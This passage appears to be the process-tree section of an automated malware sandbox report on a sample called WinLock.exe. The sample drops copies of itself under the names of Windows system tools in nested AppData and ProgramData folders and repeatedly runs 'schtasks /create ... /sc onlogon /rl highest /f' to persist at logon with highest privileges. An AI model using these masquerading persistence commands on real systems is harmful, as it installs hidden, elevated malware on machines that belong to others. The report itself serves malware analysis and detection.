    schtasks /create /tn "WinTask_hh_16" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\hh.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8464
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_CloudNotifications_17" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\CloudNotifications.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9644
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_CloudNotifications_17" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\CloudNotifications.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12404
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_forfiles_18" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7160
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_forfiles_18" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4296
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12020
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10120
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_lodctr_20" /tr ""C:\Users\Admin\AppData\Local\Temp\{45447235-15B8-4571-A2AB-5C8F754C1886}\Logs\UpdateCache\UpdateCache\UpdateCache\lodctr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11972
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_lodctr_20" /tr ""C:\Users\Admin\AppData\Local\Temp\{45447235-15B8-4571-A2AB-5C8F754C1886}\Logs\UpdateCache\UpdateCache\UpdateCache\lodctr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11916
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ShowUnpublish_21" /tr ""C:\Users\Admin\AppData\Roaming\UnprotectConvertFrom\UpdateCache\UpdateCache\ShowUnpublish.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11720
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ShowUnpublish_21" /tr ""C:\Users\Admin\AppData\Roaming\UnprotectConvertFrom\UpdateCache\UpdateCache\ShowUnpublish.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5200
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_expand_22" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\expand.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8888
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_expand_22" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\expand.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12656
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WPDShextAutoplay_23" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11444
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WPDShextAutoplay_23" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13852
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9260
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14892
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_xcopy_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13060
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_xcopy_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12416
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ResizeUpdate_26" /tr ""C:\Users\Admin\AppData\Roaming\ConnectRestore\UpdateCache\ResizeUpdate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12692
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ResizeUpdate_26" /tr ""C:\Users\Admin\AppData\Roaming\ConnectRestore\UpdateCache\ResizeUpdate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13784
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_clip_27" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\UpdateCache\clip.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14200
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_clip_27" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\UpdateCache\clip.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15356
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ftp_28" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\UpdateCache\UpdateCache\ftp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5800
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ftp_28" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\UpdateCache\UpdateCache\ftp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14244
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:11012
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10156
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_srdelayed_30" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\UpdateCache\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11868
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_srdelayed_30" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\UpdateCache\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13624
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ResizeUpdate_31" /tr ""C:\Users\Admin\AppData\Roaming\ConnectRestore\UpdateCache\ResizeUpdate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11392
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ResizeUpdate_31" /tr ""C:\Users\Admin\AppData\Roaming\ConnectRestore\UpdateCache\ResizeUpdate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9980
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_instnm_32" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\instnm.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9900
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_instnm_32" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\instnm.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14768
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_userinit_1" /tr ""C:\Users\Admin\AppData\Roaming\PublishRevoke\Logs\UpdateCache\UpdateCache\userinit.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7260
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_userinit_1" /tr ""C:\Users\Admin\AppData\Roaming\PublishRevoke\Logs\UpdateCache\UpdateCache\userinit.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14724
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_convert_2" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13984
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_convert_2" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\convert.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6208
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_systray_3" /tr ""C:\ProgramData\Packages\Logs\UpdateCache\UpdateCache\systray.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15272
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10144
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesDataExecutionPrevention_5" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\UpdateCache\SystemPropertiesDataExecutionPrevention.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14328
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_regedit_6" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishOptimize\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\regedit.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14176
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wsmprovhost_7" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\wsmprovhost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8956
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_systray_8" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\UpdateCache\systray.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14288
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_systray_8" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\UpdateCache\systray.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4644
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13704
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13084
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_LaunchTM_10" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\LaunchTM.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13820
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_userinit_11" /tr ""C:\Users\Admin\AppData\Roaming\PublishRevoke\Logs\UpdateCache\UpdateCache\UpdateCache\userinit.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14332
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_instnm_12" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\instnm.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8428
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ftp_13" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\UpdateCache\ftp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11096
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ftp_13" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\UpdateCache\ftp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8984
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14164
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_comp_15" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\comp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14964
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ReceiveCheckpoint_16" /tr ""C:\Users\Admin\AppData\Roaming\GetConvertTo\UpdateCache\ReceiveCheckpoint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14600
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_appidtel_17" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\appidtel.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5980
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ByteCodeGenerator_18" /tr ""C:\ProgramData\MicrosoftService\ByteCodeGenerator.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14544
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:14744
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_autochk_20" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\UpdateCache\autochk.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:3844
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_hh_21" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\hh.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12244
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cleanmgr_22" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\cleanmgr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9812
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_systray_23" /tr ""C:\ProgramData\Packages\Logs\UpdateCache\UpdateCache\UpdateCache\systray.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9188
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:14088
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_xcopy_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8940
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_takeown_26" /tr ""C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\UpdateCache\takeown.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4280
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PresentationHost_27" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\PresentationHost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7128
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cmstp_28" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\cmstp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:12884
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13268
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_LaunchTM_30" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\LaunchTM.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2556
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ResizeUpdate_31" /tr ""C:\Users\Admin\AppData\Roaming\ConnectRestore\UpdateCache\ResizeUpdate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7624
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ResizeUpdate_31" /tr ""C:\Users\Admin\AppData\Roaming\ConnectRestore\UpdateCache\ResizeUpdate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8248
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_resmon_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\resmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1996
- C:\Users\Admin\AppData\Roaming\PublishRevoke\Logs\UpdateCache\UpdateCache\userinit.exe
  "C:\Users\Admin\AppData\Roaming\PublishRevoke\Logs\UpdateCache\UpdateCache\userinit.exe" --watchdog-slave
  2⤵
  PID:14228

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
PID:748

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" -startup
1⤵
PID:3516

C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\takeown.exe
"C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\takeown.exe" --guard
1⤵
- Executes dropped EXE
- Modifies file permissions
PID:9140

C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\wiaacmgr.exe
"C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\wiaacmgr.exe" --guard
1⤵
- Executes dropped EXE
PID:276

C:\ProgramData\MicrosoftService\CertEnrollCtrl.exe
"C:\ProgramData\MicrosoftService\CertEnrollCtrl.exe" --guard
1⤵
- Executes dropped EXE
PID:10508

C:\Users\Admin\AppData\Roaming\BlockShow\Logs\ctfmon.exe
"C:\Users\Admin\AppData\Roaming\BlockShow\Logs\ctfmon.exe" --guard
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:8752

C:\Users\Admin\AppData\Local\MicrosoftService\iexpress.exe
"C:\Users\Admin\AppData\Local\MicrosoftService\iexpress.exe" --guard
1⤵
- Executes dropped EXE
PID:11380

C:\Users\Admin\AppData\Roaming\UninstallPop\Logs\RMActivate_ssp_isv.exe
"C:\Users\Admin\AppData\Roaming\UninstallPop\Logs\RMActivate_ssp_isv.exe" --guard
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:11388

C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\cipher.exe
"C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\cipher.exe" --guard
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:11396

C:\Users\Admin\AppData\Local\Temp\Low\Logs\xcopy.exe
"C:\Users\Admin\AppData\Local\Temp\Low\Logs\xcopy.exe" --guard
1⤵
- Executes dropped EXE
PID:5988

C:\ProgramData\Oracle\Logs\explorer.exe
"C:\ProgramData\Oracle\Logs\explorer.exe" --guard
1⤵
- Executes dropped EXE
PID:9048

C:\Users\Admin\AppData\Roaming\BackupClear\Logs\winrshost.exe
"C:\Users\Admin\AppData\Roaming\BackupClear\Logs\winrshost.exe" --guard
1⤵
- Executes dropped EXE
PID:5380

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --guard
1⤵
- Executes dropped EXE
PID:9624

C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\UpdateCache\vcredist_x86.exe
"C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\UpdateCache\vcredist_x86.exe" --guard
1⤵
- Executes dropped EXE
PID:1836

C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\srdelayed.exe
"C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\srdelayed.exe" --guard
1⤵
- Executes dropped EXE
PID:11344

C:\Users\Admin\AppData\Local\Packages\Logs\ktmutil.exe
"C:\Users\Admin\AppData\Local\Packages\Logs\ktmutil.exe" --guard
1⤵
- Executes dropped EXE
PID:11576

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\net1.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\net1.exe" --guard
1⤵
- Executes dropped EXE
PID:1516

C:\ProgramData\USOShared\Logs\compact.exe
"C:\ProgramData\USOShared\Logs\compact.exe" --guard
1⤵
- Executes dropped EXE
PID:4092

C:\ProgramData\SoftwareDistribution\Logs\ftp.exe
"C:\ProgramData\SoftwareDistribution\Logs\ftp.exe" --guard
1⤵
- Executes dropped EXE
PID:11704

C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\WPDShextAutoplay.exe
"C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\WPDShextAutoplay.exe" --guard
1⤵
- Executes dropped EXE
PID:8464

C:\Users\Admin\AppData\Local\Temp\VBE\Logs\LaunchTM.exe
"C:\Users\Admin\AppData\Local\Temp\VBE\Logs\LaunchTM.exe" --guard
1⤵
- Executes dropped EXE
PID:12248

C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\WPDShextAutoplay.exe
"C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\WPDShextAutoplay.exe" --guard
1⤵
- Executes dropped EXE
PID:6800

C:\ProgramData\MicrosoftService\dccw.exe
"C:\ProgramData\MicrosoftService\dccw.exe" --guard
1⤵
- Executes dropped EXE
PID:12232

C:\Users\Admin\AppData\Local\Adobe\Logs\WPDShextAutoplay.exe
"C:\Users\Admin\AppData\Local\Adobe\Logs\WPDShextAutoplay.exe" --guard
1⤵
- Executes dropped EXE
PID:8248

C:\ProgramData\MicrosoftService\Netplwiz.exe
"C:\ProgramData\MicrosoftService\Netplwiz.exe" --guard
1⤵
- Executes dropped EXE
PID:8136

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\net1.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\net1.exe" --guard
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2128

C:\Users\Admin\AppData\Local\MicrosoftService\UserAccountControlSettings.exe
"C:\Users\Admin\AppData\Local\MicrosoftService\UserAccountControlSettings.exe" --guard
1⤵
- Executes dropped EXE
PID:12168

C:\ProgramData\USOShared\Logs\UpdateCache\compact.exe
"C:\ProgramData\USOShared\Logs\UpdateCache\compact.exe" --guard
1⤵
- Executes dropped EXE
PID:12412

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --guard
1⤵
- Executes dropped EXE
PID:12444

C:\ProgramData\MicrosoftService\Netplwiz.exe
C:\ProgramData\MicrosoftService\Netplwiz.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:12568

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --guard
1⤵
- Executes dropped EXE
PID:12520

C:\Users\Admin\AppData\Local\D3DSCache\Logs\convert.exe
"C:\Users\Admin\AppData\Local\D3DSCache\Logs\convert.exe" --guard
1⤵
- Executes dropped EXE
PID:12724

C:\ProgramData\MicrosoftService\CertEnrollCtrl.exe
C:\ProgramData\MicrosoftService\CertEnrollCtrl.exe
1⤵
- Executes dropped EXE
PID:13068

C:\Users\Admin\AppData\Roaming\JoinClear\Logs\WerFault.exe
"C:\Users\Admin\AppData\Roaming\JoinClear\Logs\WerFault.exe" --guard
1⤵
- Executes dropped EXE
PID:13076

C:\Users\Admin\AppData\Roaming\BlockShow\Logs\UpdateCache\ctfmon.exe
"C:\Users\Admin\AppData\Roaming\BlockShow\Logs\UpdateCache\ctfmon.exe" --guard
1⤵
- Executes dropped EXE
PID:13088

C:\Users\Admin\AppData\Roaming\UnprotectConvertFrom\UpdateCache\AssertMerge.exe
"C:\Users\Admin\AppData\Roaming\UnprotectConvertFrom\UpdateCache\AssertMerge.exe" --guard
1⤵
- Executes dropped EXE
PID:8640

